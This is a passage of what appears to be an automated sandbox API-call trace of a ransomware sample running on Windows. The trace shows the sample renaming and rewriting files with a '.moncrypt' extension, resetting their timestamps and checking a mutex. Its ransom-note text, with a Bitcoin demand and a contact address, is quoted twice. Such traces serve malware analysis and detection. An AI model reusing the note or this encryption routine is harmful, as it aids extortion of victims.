(pMem=0x551178) returned 0x440004 [0044.806] GlobalUnlock (hMem=0x440004) returned 0 [0044.806] GlobalHandle (pMem=0x553188) returned 0x44000c [0044.806] GlobalUnlock (hMem=0x44000c) returned 0 [0044.806] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0044.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0044.807] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0044.807] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0044.807] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.807] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0044.807] CloseHandle (hObject=0x188) returned 1 [0044.808] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0044.808] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0044.808] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0044.808] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.808] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.808] GlobalUnlock (hMem=0x44000c) returned 0 [0044.808] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.808] GlobalLock (hMem=0x440004) returned 0x553188 [0044.808] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.808] GlobalUnlock (hMem=0x44000c) returned 0 [0044.808] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.808] GlobalUnlock (hMem=0x440004) returned 0 [0044.808] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0044.808] CharLowerBuffW (in: lpsz="MS.EPS", cchLength=0x6 | out: lpsz="ms.eps") returned 0x6 [0044.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpUsedDefaultChar=0x0) returned 61 [0044.809] CharLowerBuffW (in: lpsz=".EPS", cchLength=0x4 | out: lpsz=".eps") returned 0x4 [0044.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".eps", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".epsShared\\GRPHFLT\\MS.EPS", lpUsedDefaultChar=0x0) returned 4 [0044.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 0x54e200 [0044.809] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0044.809] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0044.809] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", dwFileAttributes=0x20) returned 1 [0044.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0044.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.moncrypt")) returned 1 [0044.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3adb [0044.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.814] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x3adb, lpOverlapped=0x0) returned 1 [0044.815] GlobalLock (hMem=0x440004) returned 0x551178 [0044.815] GlobalLock (hMem=0x44000c) returned 0x555188 [0044.815] GlobalHandle (pMem=0x555188) returned 0x44000c [0044.816] GlobalUnlock (hMem=0x44000c) returned 0 [0044.816] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0044.816] GlobalLock (hMem=0x44000c) returned 0x555188 [0044.816] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.816] GlobalUnlock (hMem=0x440004) returned 0 [0044.816] GlobalHandle (pMem=0x555188) returned 0x44000c [0044.816] GlobalUnlock (hMem=0x44000c) returned 0 [0044.816] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.816] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.816] GlobalUnlock (hMem=0x44000c) returned 0 [0044.816] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0044.816] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.816] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.816] GlobalUnlock (hMem=0x44000c) returned 0 [0044.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0044.816] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x3af0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x3af0, lpOverlapped=0x0) returned 1 [0044.816] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0044.816] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0044.827] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0044.828] CloseHandle (hObject=0x188) returned 1 [0044.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.828] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0044.829] CloseHandle (hObject=0x188) returned 1 [0044.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.moncrypt", dwFileAttributes=0x20) returned 1 [0044.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0044.829] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.829] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.829] GlobalUnlock (hMem=0x44000c) returned 0 [0044.829] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.829] GlobalLock (hMem=0x440004) returned 0x553188 [0044.829] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.829] GlobalUnlock (hMem=0x44000c) returned 0 [0044.829] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.829] GlobalUnlock (hMem=0x440004) returned 0 [0044.829] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0044.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0044.830] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0044.830] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0044.830] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.830] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.830] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0044.830] CloseHandle (hObject=0x188) returned 1 [0044.830] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0044.830] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0044.830] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0044.831] GlobalLock (hMem=0x440004) returned 0x551178 [0044.831] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.831] GlobalUnlock (hMem=0x440004) returned 0 [0044.831] GlobalLock (hMem=0x440004) returned 0x551178 [0044.831] GlobalLock (hMem=0x44000c) returned 0x553188 [0044.831] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.831] GlobalUnlock (hMem=0x440004) returned 0 [0044.831] GlobalHandle (pMem=0x553188) returned 0x44000c [0044.831] GlobalUnlock (hMem=0x44000c) returned 0 [0044.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0044.831] CharLowerBuffW (in: lpsz="MS.GIF", cchLength=0x6 | out: lpsz="ms.gif") returned 0x6 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.831] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpUsedDefaultChar=0x0) returned 61 [0044.831] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0044.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\GRPHFLT\\MS.GIF", lpUsedDefaultChar=0x0) returned 4 [0044.832] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0044.832] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0044.832] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0044.832] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.832] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.832] GlobalUnlock (hMem=0x44000c) returned 0 [0044.832] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.832] GlobalLock (hMem=0x440004) returned 0x553188 [0044.832] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.832] GlobalUnlock (hMem=0x44000c) returned 0 [0044.832] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.832] GlobalUnlock (hMem=0x440004) returned 0 [0044.832] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0044.832] CharLowerBuffW (in: lpsz="MS.JPG", cchLength=0x6 | out: lpsz="ms.jpg") returned 0x6 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.832] MultiByteToWideChar 